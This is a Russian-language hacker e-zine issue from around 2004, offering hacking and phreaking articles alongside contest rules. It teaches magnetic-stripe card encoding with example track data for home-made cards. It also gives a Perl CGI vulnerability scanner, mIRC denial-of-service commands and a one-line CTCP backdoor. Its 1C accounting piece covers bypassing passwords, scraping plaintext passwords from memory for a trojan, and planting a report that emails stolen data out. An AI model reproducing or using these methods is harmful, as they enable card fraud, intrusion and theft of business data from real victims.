КОНКУРС "СДЕЛАЙ ВСЕХ"
Правила

1) Вы присылаете информацию по WEB-у, HACK-у мне на почту в формате HTML.(EXE, BAT, TXT, rar, zip, arj, и остальные удаляются автоматически).
2) Обязательно указывайте свой НИК и е-майл(Если вы его меняете, то пришлите мне уведомление в форме:
Старый ник:
Новый ник:
Ваш е-майл:
е-майл в журнале не указывается без вашего разрешения)

НАПРИМЕР
3)Кто больше пришлёт информации, тот и получит цифровую фотокамеру.
4)КОНКУРС ПРОВОДИТСЯ ДО 5 СЕНТЯБРЯ 2005 ГОДА.
5)Вся информация которой у нас нет, принимается. А кто прислал её нам, записывается в ЛОГ, который можно посмотреть и определиться кто впереди.
6)Вы можете прислать свои предложения об оформлении журнала, или даже шаблоны.(Всё учитывается и прибавляется к вашим баллам).
7)Также вы можете создать свою тему. Как это сделать? Отвечаем!
Создаёшь файл KNOPKA.html
И делаешь шаблон-
Название темы:
Кто прислал(И.Ф.О. НИК)(неразглашается читателям):
Ваш е-майл:
Инфа по теме:

НАПРИМЕР
Вы должны поддерживать свою тему поэтому обновляйте инфу.
8)ВОПРОСЫ ПО КОНКУРСУ ПРИСЫЛАЙТЕ СЮДА d12p@rambler.ru

ТОЛЬКО В ФОРМАТЕ HTML


Хочешь свой баннер в журнале
Присылай но взамен ты должен(должна) разместить наш журнал на своём сайте. В письме укажите ссылку, где находится журнал на сайте.
ПРИСЛАТЬ


Пример

Старый ник: Vasia
Новый ник: SUPERVASIA
Ваш е-майл: vasia@mail.ru
указать е-майл: нет
ВОПРОСЫ ПРИСЫЛАЙТЕ СЮДА


Пример

Название темы: Бесплатный инет
Кто прислал(Ф.И.О. НИК): Тёркин Александр Тваревич (TVAR)
Ваш е-майл: TVAR@VSE.ru
Инфа по теме: И так есть провайдер с гос....
ВОПРОСЫ ПРИСЫЛАЙТЕ СЮДА


HACK

Пластиковые карты
Секреты Windows XP: Удаляем лишнее
Сканер своими руками
Уязвимости mIRC-скриптов
Шесть способов залезть в 1С

В следующем выпуске:

HLLP вирус своими руками
NTFS в Windows 9x
В Америке компьютеры повсюду
Внутренние команды DOS
Как взломать чужую почту


Журнал "WHS"-WEB HACK SOFT (03.04)

Ваш броузер не поддерживает фреймы


ГЛАВНАЯ
Этот журнал обо всём чем мы занимаемся фрикинг, хакинг, софт, веб дизайн. Здесь вы найдёте много ссылок на софт в интернете, описание этого софта, да и так разные темы.

Вся информация находящаяся здесь взята с разных источников и у разных авторов.

Предлагайте свои варианты оформления журнала. Можете прислать уже готовый вариан(т.е. ШАБЛОН), и вы автоматически становитесь участником конкурса. Обязательно прочитайте тему "ДЛЯ ВАС"-правила.


С С Ы Л К И
samsung
web-hack
nht-team

Хочешь свой баннер <<<здесь>>>


ЛОГИ
НИК КОЛ-ВО ДАТА МЕСТО
WEBDIZ
15
1
SantaCrac_us
10
2
RANGER
8
3
SanIOK
5
4
GLUKOVER
3
5

Если вы прислали нам информацию и вашего ника нет в логах, то пришлите нам письмо о нашей ошибке. Укажите свой ник и тему(ы) присланной информации. Пиши сюда


ГЛАВНАЯ

WEB

HACK

РАЗНОЕ

ДЛЯ ВАС

ЛОГИ

Наши Новости

Пиши нам


НОВОСТИ ЖУРНАЛА

12.09.04 - Появится кнопка "Софтер"
10.09.04 - Кнопка "Наши Новости"


РАЗНОЕ
Некоторые основы FREENET
Очередная уязвимость в сотовых телефонах Siemens
Бесплатные звонки с таксофонов. Сборник рецептов(ч.1)
Бесплатные звонки с мобильных телефонов
Действия абонента при сбоях сети

В следующем выпуске:

Все коды для телефонов Ericsson
Правда о клонировании карт GSM
Электронные устр-ва фрикинга
BlackBox и немного о нём
Разработка системы связи для приёма и перехвата


WEB

Пока здесь нет инфы. Присылайте!!!


Пластиковые карты
Принцип магнитной записи ничем не отличается от принятого в звукозаписи. Для его реализации подходит звуковая аппаратура. Стирание можно делать постоянным магнитом с пластиной - концентратором магнитного потока. Хотя при таком стирании велик уровень шумов, для цифрового считывания это не важно. Запись производят без подмагничивания постояныым или ВЧ током, так даже достигаются более резкие переходы намагниченности носителя. Для изготовления магнитной полоски самодельных карточек подойдет старая 5 " дискета на 360 Кб, имеющая слой с низкой коэрцитивностью. Кодирование данных осуществляется общепринятым методом "без возврата к нулю", который исключает длинные участки постоянной намагниченности, что облегчает синхроннизацию при считывании.
Усиленный выходной сигнал с читающей головки проходит двухпороговый компаратор, формирующий ВЫСОКИЙ и НИЗКИЙ логичекие уровни. Цифровые данные поступают на стандартный последовательный интерфейс (типа RS-232), передающий данные на обработку компьютеру.
На рисунке видно, что если в момент синхро-отсчета уровень сигнала НЕ меняется, то он считается равным НУЛЮ, а если сигнал имеет перепад, то ЕДИНИЦЕ.
2. Физический стандарт записи Расположение дорожек на карточке показывает рисунок:
Если карточку расположить магнитной полоской к себе, так, чтобы полоска была снизу карточки, то данные записаны слева направо.
3. Форматы кодирования данных
** Формат данных ANSI/ISO BCD ** Этот вариант кодирования имеет длину слова в 5 бит. Первые четыре бита - данные, a 5-й - бит четности. Cумма всех пяти битов должна давать НЕчетное число. Младший бит b1 считывается первым в серии.

b1
b2
b3
b4
b5
Символ
Значение

0
0
0
0
1
0 (0H)
Цифра

1
0
0
0
0
1 (1H)
"

0
1
0
0
0
2 (2H)
"

1
1
0
0
1
3 (3H)
"

0
0
1
0
0
4 (4H)
"

1
0
1
0
1
5 (5H)
"

0
1
1
0
1
6 (6H)
"
1
1
1
0
0
7 (7H)
"
0
0
0
1
0
8 (8H)
"

1
0
0
1
1
9 (9H)
"
0
1
0
1
1
: (AH)
Управление

1
1
0
1
0
; (BH)
Начало последовательности

0
0
1
1
1
<(CH)

Управление

1
0
1
1
0
= (DH)
Разделитель полей

0
1
1
1
0
> (EH)
Управление

1
1
1
1
1
? (FH)
Конец последовательности

** Формат данных ANSI/ISO буквенный**
Этот формат (буквенно-цифровой) содержит определения 64 символов, при 7-битном кодировании, 6 значащих битах, и седьмом бите четности, как и в предыдущем формате. Младший бит b1 считывается первым.

b1
b2
b3
b4
b5
b6
b7
Символ
Значение

0
0
0
0
0
0
1
space (0H)
Специальный

1
0
0
0
0
0
0
! (1H)
"

0
1
0
0
0
0
0
" (2H)
"
1
1
0
0
0
0
1
# (3H)
"

0
0
1
0
0
0
0
$ (4H)
"

1
0
1
0
0
0
1
% (5H)
Начало последовательности

0
1
1
0
0
0
1
& (6H)
Специальный

1
1
1
0
0
0
0
' (7H)
"

0
0
0
1
0
0
0
( (8H)
"

1
0
0
1
0
0
1
) (9H)
"

0
1
0
1
0
0
1
* (AH)
"

1
1
0
1
0
0
0
+ (BH)
"

0
0
1
1
0
0
1
, (CH)
"

1
0
1
1
0
0
0
- (DH)
"

0
1
1
1
0
0
0
. (EH)
"

1
1
1
1
0
0
1
/ (FH)
"

0
0
0
0
1
0
0
0 (10H)
Данные (цифры)

1
0
0
0
1
0
1
1 (11H)
"

0
1
0
0
1
0
1
2 (12H)
"

1
1
0
0
1
0
0
3 (13H)
"

0
0
1
0
1
0
1
4 (14H)
"

1
0
1
0
1
0
0
5 (15H)
"

0
1
1
0
1
0
0
6 (16H)
"

1
1
1
0
1
0
1
7 (17H)
"

0
0
0
1
1
0
1
8 (18H)
"

1
0
0
1
1
0
0
9 (19H)
"

0
1
0
1
1
0
0
: (1AH)
Специальный

1
1
0
1
1
0
1
; (1BH)
"

0
0
1
1
1
0
0
<(1CH)

"

1
0
1
1
1
0
1
= (1DH)
"

0
1
1
1
1
0
1
> (1EH)
"

1
1
1
1
1
0
0
? (1FH)
Конец пос-ти

0
0
0
0
0
1
0
@ (20H)
Специальный

1
0
0
0
0
1
1
A (21H)
Данные (буквы)

0
1
0
0
0
1
1
B (22H)
"

1
1
0
0
0
1
0
C (23H)
"

0
0
1
0
0
1
1
D (24H)
"

1
0
1
0
0
1
0
E (25H)
"

0
1
1
0
0
1
0
F (26H)
"

1
1
1
0
0
1
1
G (27H)
"

0
0
0
1
0
1
1
H (28H)
"

1
0
0
1
0
1
0
I (29H)
"

0
1
0
1
0
1
0
J (2AH)
"

1
1
0
1
0
1
1
K (2BH)
"

0
0
1
1
0
1
0
L (2CH)
"

1
0
1
1
0
1
1
M (2DH)
"

0
1
1
1
0
1
1
N (2EH)
"

1
1
1
1
0
1
0
O (2FH)
"

0
0
0
0
1
1
1
P (30H)
"

1
0
0
0
1
1
0
Q (31H)
"

0
1
0
0
1
1
0
R (32H)
"

1
1
0
0
1
1
1
S (33H)
"

0
0
1
0
1
1
0
T (34H)
"

1
0
1
0
1
1
1
U (35H)
"

0
1
1
0
1
1
1
V (36H)
"

1
1
1
0
1
1
0
W (37H)
"

0
0
0
1
1
1
0
X (38H)
"

1
0
0
1
1
1
1
Y (39H)
"

0
1
0
1
1
1
1
Z (3AH)
"

1
1
0
1
1
1
0
[ (3BH)
Специальный

0
0
1
1
1
1
1
\ (3DH)
Специальный

1
0
1
1
1
1
0
] (3EH)
Специальный

0
1
1
1
1
1
0
^ (3FH)
Разделитель полей

1
1
1
1
1
1
1
_ (40H)
Специальный

4. Форматы записи дорожек
Запись на дорожке начинается с серии нулей (сигналов "НИЗКОГО" уровня, а не символов), число которых бывает разным, но не менне шестнадцати. Этот форвард служит для синхронизации такта считывателя. Далее записывается информация в формате, в зависимости от номера дорожки, как показывает таблица:

Дорожка ј1
НП
КФ
НПС
Имя
РП
Доп. данные
КП
LRC

Дорожка ј2
НП
НПС
РП
Доп. данные
КП
LRC

Дорожка ј3
подобно дорожкам 1 и 2. В большинстве случаев не используется.

НП
Начало Последовательности

КФ
Код Формата

НПС
Номер Первичного Cчета (19 цифр макс)

РП
Разделитель Полей

Имя
(макс. 26 знаков)

Доп. данные
дата истечения, код шифра и т. п.

КП
Конец Последовательности

LRC
Код контроля четности

Формат кодирования по разным дорожкам и плотность записи различна и соответствует таблице:

Дорожка
Плотность
Формат
Кол-во символов

1
210 bpi
букв-цифр
79

2
75 bpi
BCD
40

3
210 bpi
BCD
107

Кодирование управляющих символов в соответствии со стандартом каждой дорожки. Завершает запись дорожки такая же, как в начале, последовательность нулей.

5. Примеры записанного на карточках
Номер на лицевой стороне карточки: 1111 2222 3333 4444
Срок действия до: 12 / 99

-=Mastercard=-
Track 2 (BCD, 75 bpi)-> ;1111222233334444=99121010000000000000?

Ttrack 1 (ALPHA, 210 bpi)-> %B1111222233334444^PUBLIC/JOHN?

* примеч.: "101" встречается на большинстве провереных карточек, также как и "В".

-=VISA=-
T2 (BCD,75 bpi)-> ;1111222233334444=9912101xxxxxxxxxxxxx?

T1 (ALPHA,210 bpi)-> %B1111222233334444^PUBLIC/JOHN^9912101xxxxxxxxxxxxx?

* примеч.: 101 и В см выше. Также, ххх разные от карте к карте, и могут означать закодировванный номер счета, в любом случае, я нашел 13 цифр номера счета.

-=Discover=-
T2 (BCD,75 bpi)-> ;1111222233334444=991210100000?

T1 (ALPHA,210 bpi)-> %B1111222233334444^PUBLIC/JOHN___^991210100000?

* примеч.: "10100000" и "B" и иногда встречается "10110000".Подчерки после имени JOHN означают, что имя дополняется до 26 символов ПРОБЕЛАМИ.

-=US Sprint FON=-

Номер карточки -> 111 222 3333 4444

Track 2 (BCD,75 bpi)-> ;xxxxxx11122233339==xxx4444xxxxxxxxxx=?

Track 1 (ALPHA,210 bpi)-> %B^ /^^xxxxxxxxxxxxxxxxx?

* такое впечатление, что 1 дорожка не используется.

-=Fleet Bank=-
Номер карточки -> 111111 222 3333333

T2-> ;1111112223333333=9912120100000000xxxx?

T1-> %B1111112223333333^PUBLIC/JOHN___^9912120100000000000000xxxx000000?

* данные "xxxх" варьируют. это закодированое PIN смещение. Всегда 4 цифры (хммм...). "1201" всегда одни и те-же... Даже в карточках из разных банков.


Секреты Windows XP: Удаляем лишнее
Несмотря на все достоинства Windows XP, эта операционная система не лишена недостатков.

Самым простым примером является обязательная установка некоторых приложений, таких как игры, Windows Messenger и т.д.

Для удаления этих компонентов уже придумано множество хитроумных способов, (например, наша статья об удалении Windows Messenger), однако не все из них работают корректно, что иногда приводит к проблемам стабильности ОС.

Недавно мы получили письмо от одного нашего читателя, по имени Slavko, который предложил самый универсальный и простой способ удаления любых компонентов Windows XP стандартными средствами ОС.

Не смотря на свою простоту, этот метод может показаться не совсем понятным для начинающих пользователей.

Итак, для активизации возможности удаления всех компонентов Windows XP необходимо изменить содержимое файла sysoc.inf, расположенного в скрытой папке WINDOWS\INF, или правильнее было бы указать %SystemRoot%\inf.

Открыв файл sysoc.inf с помощью notepad’a, Вы увидите, что он включает специальное описание программ в формате:

program=dll.inf entry, OcEntry, program.inf entry, numeral

Скрытые компоненты, содержат слово hide или HIDE. Для того, что бы сделать компонент видимым необходимо удалить это слово. Например, для открытия игры Pinball необходимо делать следующее:

Было: Pinball=ocgen.dll,OcEntry,pinball.inf,HIDE,7

Стало: Pinball=ocgen.dll,OcEntry,pinball.inf,,7

Slavko рекомендует сделать автоматическую замену всех слов hide или HIDE. Что позволит сразу открыть все программы и компоненты.

Сделав все изменения, сохраните файл sysoc.inf и войдите в панель управления - раздел «добавление и удаление программ» – «компоненты Windows», где откроются все скрытые, ранее, компоненты.

Теперь Вы можете удалить все, что кажется Вам лишним.

Удачи.


Сканер своими руками
Сегодня мы поговорим о их практическом применении.

Ну долго думал чтобы еще такое написать и решил что напишем мы CGI сканер, да еще и с WEB интерфейсом =)). Давайте определимся на чем основывается работа сканера. Мы конектимся к хосту и запрашиваем какой-нибудь файл, а затем обрабатываем ответ и делаем выводы. Существуют два способа сделать запрос по HTTP это использовать модуль LWP и функцию get($url) или же использовать для этого дела сокеты. Ну мы естественно выберем 2-ой способ. А сделали мы это по 2 причинам: нам нужно научится работать с сокетами и скорость при отдельных GET запросах гораздо ниже чем при установлении связи с помощью сокетов. Разберем что же мы должны сделать:

1) Приконектиться к серверу.
2) Послать запрос.
3) Получить и обработать ответ.
4) Ну и вывести их пользователю.

Задача еще усложняется тем, что мы сначала должны принять входные данные от пользователя. Используем для этого форму в отдельном HTML документе. Итак начнем:
Для начала тот самый html-документ
< html>
< body>
< form method="post" action="/cgi-bin/cgi.pl">
Enter hostname:
< input name="host" value="" size=20>
< input type="submit" value="Submit">
< /form>
< /body>
< html>

А теперь приступим к созданию самой программы.

#!c:perlbinperl.exe (пример для WinNT)

use Socket; # Указываем, что используем модуль Socket
&GetFormInput; # Запускаем подпрограмму для получения данных из формы $host = $field{'host'};# и затем обрабатываем их присваивая значения поля host соответствующей переменной
print "Content-type: text/htmlnn";
print qq] # Вместо кавычек
Results for $host
];
#Здесь начинается самая главная часть скрипта.
open (PPP,"< expl.txt"); #Открываем файл содержащий названия уязвимых скриптов.
while (< PPP>)
{
chomp;
$prot = getprotobyname('tcp'); # Указываем протокол по которому будем конектиться
socket(SOCK, PF_INET, SOCK_STREAM, $prot); # Создаем сокет.
$i_addr = inet_aton("$host"); #Здесь мы специальной функцией
обрабатываем значения переменной $host (подробнее об этой функции читайте в прошлых статьях)
$p_addr = sockaddr_in(80, $i_addr); # Хост и порт куда конектимся
connect(SOCK, $p_addr); # осуществляем коннект
send (SOCK, "HEAD $_ HTTP/1.0nn", 0); #запрашиваем файл
$answer=< SOCK>; #Обрабатываем ответ
print " $_ $answer< /td "; #Выводим полученные данные пользователю
close(SOCK); # Закрываем файл содержащий названия уязвимых скриптов.
}
close (PPP); # Закрываем файл
print "
";
# А вот та самая подпрограмма для получения данных от формы. Советую всем записать себе на будущее - очень пригодится.
sub GetFormInput
{
(*fval) = @_ if @_ ; local ($buf);
if ($ENV{'REQUEST_METHOD'} eq 'POST') {
read(STDIN,$buf,$ENV{'CONTENT_LENGTH'});
}
else {
$buf=$ENV{'QUERY_STRING'};
}
if ($buf eq "") {
return 0 ;
}
else {
@fval=split(/&/,$buf);
foreach $i (0 .. $#fval){
($name,$val)=split (/=/,$fval[$i],2);
$val=~tr/+/ /;
$val=~ s/%(..)/pack("c",hex($1))/ge;
$name=~tr/+/ /;
$name=~ s/%(..)/pack("c",hex($1))/ge; if (!defined($field{$name}))
{
$field{$name}=$val;
}
else {
$field{$name} .= ",$val";
} }
}
return 4;}
exit;
exit;


Уязвимости mIRC-скриптов
I. DOS Device bug

Нужно сказать, что появление на свет con\con'a не слабо ударило по забугорной части IRC (по нам не сильно, т.к. в то время новые баги доходили до нас "с некоторым" опозданием). Одна лишь команда "/ctcp #lamez sound con\con" уносила всех пользователей win9x с канала #lamez. В Win98SE и ME проблема была решена, но, как оказалось, не до конца. Программеры из MS избавили нас от синего экрана, но запретили создавать файлы с названиями совпадающими с именами устройств в DOS (prn, lpt, con, aux). Так вот, многие (почти все) разработчики программного обеспечения не предусматривают эту особенность в своих тварениях, точнее думают, что на их продуктах она никак не может сказатся. Автор мирка (Khaled Mardam-Bey) не исключение. Любое обращение к файлу с названием\расширением AUX (на все остальные mIRC не реагирует), приводит: 1) в 9x\Me к поеданию всех системных ресурсов мирком. Причём, если всётаки удаётся убить процесс, в дальнейшей работе Windows'a наблюдается большое кол-во глюков (значки меняеются, появляются чёрные полоски и тд). В общем, советую сразу жать reboot. 2) XP\2k не дают сожрать все ресурсы, но сам клиент неминуемо виснет. Уязвимые команды: /load /loadbuf /write /play /writeini /remini /splay Уязвимые функции: $read() $readn() $readini() $crc() $file() $ini() $lines() $mklogfn() $sfile() $shortfn() Прошу прощения, если какие-то упустил. Ну а теперь поговорим о том, как можно поюзать баг удалённо (cразу оговорюсь, что "голый мирк" никак не отреагирует на ctcp-запрос "sound aux"). Большинство разработчиков более ли менее функциональных mIRC-скриптов, пытаются поставить свои обработчики на ВСЕ события, которые вообще могут произойти (даже отлавливают raw и error). Я абсолютно ничего не имею против, но как раз это их и подводит. Вот пример обработки sound-реквеста одинм популярным немецким скриптом (важные строчки коментирую): ctcp *:*:*:{ if (($os < 100) && ((*con?con* iswm $2-) || (*nul?nul* iswm $2-))) { ;## Проверка на con\con и nul\nul echo $evcol(ctcp) -ati2 $cl(kick) $gtd(Warning) $sd($mnick($chan)) attempted to play $2 $+ , process halted halt } if (($1 == sound) || ($1 == mp3)) && ($exists($+($wavedir,$2))) { splay $2 } ;## Если запрашивается звук и требуемый файл существует в $wavdir, запускаем его. } ;## NoName Script v.3.5 :: www.nnscript.de Функция $exists() ошибочно считает, что файл aux существует и возвращает $true (этот баг уже был описан нашей командой), что нам как раз нужно. Команды: /ctcp sound aux.wav /ctcp mp3 aux.wav отправят любого пользователя данного клиента в кому. Подобная проблема присутствует в каждом втором мирк-скрипте.

II. "Autoping" bug

Почти все новые скрипты имеют функцию "Remote lag check". Работает она очень просто. Вы говорите одно из ключевых слов (обычно ping, !ping, .ping, ping me и т.п.), удалённый клиент пингует вас и посылает вам notice\privmsg с вашим же ответом. Вот пример из Boss Script 2002: #autopinger on on 1:text:*ping*:#:/ctcp $nick ping on 1:ctcpreply:ping*:{ set %pt 0 %pt = $ctime - $2 notice $nick Your Ping Reply from $server is : ( $+ %pt $+ ) Second(s) %ver halt } #autopinger end Посмотрите, мы одним словом заставляем скрипт послать ctcp запрос, а потом notice. И самое интересное, что обычно (читай всегда) никаких ограничений на кол-во лаг-чеков не ставят. Это открывает перед нами возможность зафлудить счастливого обладателя уязвимого скрипта просто послав ему кучу мессаг, содержащих слово "ping". Но и тут не без подводных камней. По идее, нам помимо мессаджа с ключевым словом, придётся посылать ответ на "ctcp ping", то есть мы сами рескуем быть зафлужеными. Поэтому советую "работать" с кем-нибудь на пару. Точное количество мессаг для зафлуживания назвать не могу, т.к. это зависит от IRC-сервера, а точнее от его флуд-лимитов. Лично на моём IRCplus'e при дефолтовой конфигурации понадобилось ~11 мессаг.

III. backdoor

Да, да, далее пойдёт речь не о баге, а о бэкдоре, который получил ооочень широкое распространение в первую очередь из-за своего маленького размера. Он занимает не 10kb, не 1kb, не 500b. Он занимает 1 (!!!) строчку размером 14 байт: ctcp *:*:?:$1- И вот эта вот строчечка даёт полный контроль над компьютером, при условии хорошего знания скриптинга конечно. Как же она работает? Гениально просто - при получении клиентом ctcp-реквеста, всё его содержимое отправляется mirc-интерпритатору. А если говорить по русски: /ctcp У nick'a на машине выполнится command. Существует несколько модификаций бэкдора. Так что, помимо прямой отправки комманд, стоит попробывать: /ctcp cmd /ctcp script Иных не встречал, но это не значит, что их нет.

IV. command execution

Баг встречается в скриптах, которые каким-то боком обрабатывают посланные удалённым пользователем данные. Наболее распространённые уязвимые функции: guestbook и pager. Я, пожалуй, разберу случай посложнее. Всем известен самый распространённый и мною уважаемый русский мирк-скрипт NeoRa TrioN. Но не все знают, что несколько месяцев назад в нём была найдена подобная проблема (подробно на ней останавливаться не буду, кому интересно лезте сюда). Скрипт сохранял все топики и quit-сообщения в отдельный файл. И делал это весьма каряво. При попытке сохранить данные вида: [some_text] } [cmd] [some_text] | [cmd] На удалённой машине выполнялась "cmd". Что касается гостевых книг, пэйджеров и всех остальных примочек, эксплойтирование такое же.

V. aux bug #2

Очень интересная уязвимость, о которой, кстати, мало кто знает. Разберём скрипт Polaris IRC. В него встроен свой собственный скриптовый логгер (видать дефолтового mirc'овскоого создателям было мало..). Он записывает все приваты и dcc-чаты в отдельный файл. А проблема в том, что название файла генерится по правилу: $nick $+ .log. Так вот, если у нас будет ник aux, то мирк не сможет создать такой файл и заменит его на au_.log. Сама уязвимость кроется в функции View log. При попытке скриптом показать лог чата с юзером AUX, он будет пытатся открыть файл aux.log, а не au_.log, и повиснет. Подобные уязвимости встречаются также в гостевых книгах и пэйджерах, когда файлу с сообщениями юзера присваивается его ник. Обобщая тему этой уязвимости, нужно сказать, что она встречается во всех скриптах, где удалённый юзер как-то может влиять на название и\или расширение какого-либо файла.

VI. Low flood protection

На данный момент защита от флуда присутствует даже в самых отстойных и глючных скриптах. Вот наиболее распространённая схема её работы: после N1 ctcp-запросов за N2 сек. юзер кидается в игнор на N3 сек. Так вот, иногда встречаются кадры, которые кидают юзеров в игнор по маске nick!*@*. То есть, чтобы обойти защиту от флуда, нам нужно всего лишь регулярно (после каждых 3-5 запросов) менять ник. Flood Clon'ов с такой примочкой я ещё не видел, а самому писать в лом. Если у тебя руки на месте, можешь попробывать.

Чтож, пожалуй это все уязвимости, которые я встречал в mIRC-скриптах.. PS. вот клиенты, в которых 100%-нтно присутствуют какие-либо из описанных выше уязвимостей (метка "#" означает, что скрипт имеет широкое распространение): Neo-Ra Trion v.10 # MurderScript 2001 Polaris IRC v2.04 # eXtreme # WarSatan Hкеvксly$ўrоюt 2002 script # Boss script v.2002 SiN4pSi77 ScRipT 6.2 [LLMirc PRoі] v.3.5a # Stalker Script 8.0 Final 7th Sphere 3.0 # NiTrO ScRiPt V2 2002 (Beta) # gAnGstERs FlooDinG ScripT NoName Script v.3.* # coolpakiz Script v1.0 IRCopen backdoor scan v1.27x Xspy Game v.2.0.beta by Bl00r Hackz script Скачать их можно с сайта www.xcalibre.com

Истоник: www.mazafaka.ru


Шесть способов залезть в 1С
Для тех, кто в танке, небольшая справка: 1С:Предприятие - это система для разработки баз данных. Главный упор делается на бухгалтерию, торговлю и прочие коммерческие штучки, хотя, при наличии сумасшедшего заказчика, в этой системе можно написать практически все, что угодно, начиная от системы учета домашних финансов, до поддержки почти любого производства. Ну, это неважно. Важно то, что иногда до этих данных доступ бывает просто необходим, а пароль такая штука, что всем подряд почему-то не дается :-(…

Начнем с первого способа (самый простой)

Любой маломальский программист в 1С знает, что все данные для пользователя хранятся в файле "\Путь-для-конфигурации\usrdef\users.usr". Поэтому самый простой способ забраться в данные - это просто прибить этот файл и заходить совершенно свободно. Но! Если конфигурацию оформлял аккуратный программист, то он сделает совершенно простую вещь - установит в конфигурации интерфейс с нулевыми правами и такой способ отпадет сам собой. Хотя, я такое на сторонних конфигурациях встречал очень редко.

Способ номер два (для продвинутых)

Основан на том же самом файле "\Путь-для-конфигурации\usrdef\users.usr". Только в этом случае мы его прибивать не будем, а подменим. В большинстве типовых конфигураций есть начальный набор прав называемый стандартными терминами. Для "1С:Торговля и Склад" это будет "Интерфейс_Администратора", "Интерфейс_Продавца" и так далее. Залазим в файл "users.usr" простым HEX редактором и в конце видим такие строчки:

"всякая чушь" Вася "чушь" .\Vasya "чушь" Интерфейс_Администратора "чушь" Администратор

где

- Вася - имя пользователя;
- .\Vasya - путь к каталогу пользователя, если начинается с точки, то путь высчитывается относительно корневого каталога базы. Или же просто пишется "C:\SUPERTRADE\1C\Vasya";
- Интерфейс_Администратора - название интерфейса с описанием меню и внешнего вида;
- Администратор - название блока прав.

Если руки растут откуда нужно с помощью того же самого HEX редактора можно для любого пользователя присвоить администраторские права и заходить совершенно свободно. Если же живем по принципу "не хочу, ибо мне в лом", тогда дома берешь аналогичную конфигурацию, подготавливаешь в ней полный набор прав и называешь его Администратор - приносишь, подменяешь и сидишь спокойно. Разумеется, если названия интерфейсов писались новые - то нужно знать название необходимого набора прав.

Способ третий (для извращенцев)

Сам я этот способ использовал только пару раз, когда база полностью рушилась. В принципе, этим методом пользовались еще несколько моих знакомых программистов, так что он вполне реален. Дело в том, что в каталоге конфигурации (в случае DBF-ной базы, не SQL) хранится несколько типов файлов.

*.CFG - он нам особо не нужен, ничего важного там нет;
1Cv7.DD - файл словаря, он нам тоже пригодится;
1Cv7.MD - файл с метаданными, всякие там макросы и формы документов-отчетов-журналов, планы счетов, интерфейсы и прочее.
*.CDX - индексированные файлы, нам они по барабану, можно их покилять, чтоб вид не портили. И, наконец-то(!) *.DBF - собственно файлы с данными. Вот их-то и надо разбирать.

Предупрежу сразу - эта статья писалась как общеобразовательная, поэтому никаких глубинных технических деталей я давать не буду. Скажу только, что ковырять самому *.DBF-файлы - дело нудное и неблагодарное. В Интернете есть и DBF-вьюверы и даже программы, которые разбирают файл словаря от 1С и потом связывают с DBF-ками. Все это можно найти, было бы желание, но этот способ слишком уж экзотичен.

Способ четвертый (для крутых)

Вот этот способ для настоящих взломщиков! Шутка, хотя и со смыслом, объясню почему. Как-то я решил запустить ArtMoney, и сдуру возьми и просканируй запущенную 1С на предмет пароля. Честно скажу, я был неприятно удивлен, когда мне выдался адрес с моим паролем и без всякого шифрования. Когда я отошел от шока и быстренько запустил SoftIce - увидел, что какие бы конфигурации я не запускал - результат остается прежним, естественно менялся адрес, но это классика. Взлом модулей 1С я сразу отмел по лени, а вот идея написать свою программку меня заинтересовала. И получилось два алгоритма:

1-й:

а. Начать сканировать блоки память запущенной 1С (разумеется, сначала ее надо найти в памяти и т.д. и т.п.);
б. Найти в памяти подстроку "LockWaitTime", запомнить адрес найденной подстроки в переменную addr;
в. Если addr-7 содержит строку 00 00 00 40 00 00 00 (в HEX форме, разумеется), то сканируем память до начала блока памяти в обратном порядке до следующей строки 00 00 00 40 00 00 00, то, что будет между ними и есть пароль.

Этот вариант более универсален, не требует дополнительных расчетов и вполне подходит для трояна, но выдает от нефиг делать штук 20 паролей.

2-й:

а. Начать сканировать память запущенной 1С;
б. Найти полный путь к каталогу пользователя в памяти программы;
в. Стартуя в обратном порядке от начала найденного пути, находим 00;
г. После этого считываем в обратном порядке символы до следующего 00 в переменную pass;
д. Отступаем 8 назад и смотрим последовательность: xx 00 00 00 40 00 00 00, где xx - количество букв в пароле.
е. Если xx равно длине pass - то это и есть вероятный пароль.

А этот вариант гораздо более надежен, выдает всего 2-3 возможных пароля, но требуется знать путь к каталогу пользователя, под именем которого запущена 1С.

Четвертый способ все-таки больше подходит при отсутствии прямого доступа к файлам 1С, скажем, при написании трояна. Я проверял под Windows 98, версии 1С:Предприятие 7.7 17 релиза.

Способ пятый (для математиков)

Сам пароль в шифрованном виде храниться тоже в файле "\Путь-для-конфигурации\usrdef\users.usr", его можно сломать брутфорсом. Алгоритм шифрования паролей стандартный - MD5.

Способ шестой (для любителей Microsoft Office):

Дело в том, что из Microsoft Office (ау, вирусы!) можно смело влезть напрямую в данные 1С. Самое забавное то, что права пользователя тут роли не играют, можно просто на языке VBA в Excel поступить следующим образом:

а. Создать объект 1С в зависимости от текущей версии:
V1CEnterprise.Application - версия независимый ключ;
V77.Application - версия зависимый ключ;
V77S.Application - версия зависимый ключ, SQL версия;
V77L.Application - версия зависимый ключ, локальная версия;
V77M.Application - версия зависимый ключ, сетевая версия.

б. Применимо к этому объекту можно полностью управлять структурой документов и справочников в 1С, хоть скачивать, хоть закачивать данные.

Способ шестой (для вирмакеров)

Этот способ мне подсказали вирусы парня по имени BKNY0NNX. Эти вирусы писались исключительно для 1С:Предприятия и заражали внешние отчеты. Так вот, если написать некий внешний отчет, который будет сливать данные в отдельный файл, а потом подпихнуть его на место существующего внешнего отчета (можно даже с сохранением всех старых функций), то товарисч бухгалтер сам будет запускать процедуру слития данных, запуская "зараженный" отчет. А если учесть, что 1С позволяет отправлять данные по электронной почте - то можно данные получать регулярно по e-mail и даже не заходить больше в эту контору.

Одним словом, если кому-то понадобятся данные с вашей 1С - то этот кто-то сможет без проблем вытащить все, что ему пожелается. Кстати, тут я рассматривал проблемы безопасности только 1С:Предприятия, но дело в том, что встроенный язык 1С позволяет операции с файлами, то есть, если захватить тотальный контроль над самой программой - можно, в принципе, получить доступ и к остальным файлам на компьютере и даже в локалке, поэтому, господа хакеры, этот способ очень перспективный…


HACK


Некоторые основы FREENET
Дарова перец сейчас я поведаю тебе еще одну стори о Фрикенге. Сразу предупрежу о том что мы тута наделаем. первое я тебя не знаю ты меня не знаешь, Второе злые дяденьки из телефонной службы , отряд омоновцев, а также потерпевший могут тебе навешать люлей по самое не хочу и тот самый потерпевший добьет тебя контрольным ударом в пах после чего он избавится от твоего тела путем ампутации всех твоих конечностей, ой чёта меня занесло ;) короче последствия могут быть плачевны. Lets start mother fucka

Тебе понадобиться ;
1. Телефонный провод желательно в неограниченном количестве
2. Прямые руки(желательно)
3. Бухло, куда же без него
4. Инструменты
